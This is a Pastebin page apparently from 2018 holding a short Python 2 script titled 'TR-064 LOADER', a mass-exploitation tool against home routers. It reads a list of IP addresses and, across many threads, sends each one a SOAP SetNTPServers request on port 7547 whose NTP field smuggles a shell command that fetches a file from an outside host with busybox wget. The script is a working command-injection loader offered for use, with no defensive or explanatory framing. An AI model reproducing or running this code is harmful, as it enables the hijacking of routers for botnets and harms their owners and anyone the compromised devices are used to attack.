Advertisement
xB4ckdoorREAL

[TR-064 LOADER] [OLD]

Nov 4th, 2018
455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.64 KB | None | 0 0
  1. #! python !#
  2.  
  3. import sys, os, re
  4. from threading import Thread
  5. from time import sleep
  6. import requests
  7. from requests.auth import HTTPDigestAuth
  8. from decimal import *
  9.  
  10. ips = open(sys.argv[1], "r").readlines()
  11. motherthreads = int(sys.argv[2]) #2-1000
  12. motherthread_count = len(ips) / motherthreads
  13. motherthread_chunks = [ips[x:x+motherthread_count] for x in xrange(0, len(ips), motherthread_count)]
  14. payload = "<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;>   <NewNTPServer1>`cd /tmp && /bin/busybox wget http://iplogger.co/2qWq45`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNT PServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>"
  15. headerlist = {'SOAPAction': 'urn:dslforum-org:service:Time:1#SetNTPServers'}
  16.  
  17. def dump(count):
  18.     count = int(count)
  19.     for i in motherthread_chunks[count]:
  20.         try:
  21.             url = "http://"+i+":7547/UD/act?1"
  22.             url = re.sub('\n', '', url)
  23.             r = requests.post(url, timeout=5, headers=headerlist, data=payload)
  24.             print "[TR-064] Payload Sent %s"%(url)
  25.             motherthread_chunks[count] = motherthread_chunks[count].remove(i)
  26.         except:
  27.             pass
  28.  
  29. for x in xrange(motherthreads):
  30.     try:
  31.         thread = Thread(target=dump, args=(x,))
  32.         thread.start()
  33.     except KeyboardInterrupt:
  34.         sys.exit("STOPPING!")
  35.     except:
  36.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement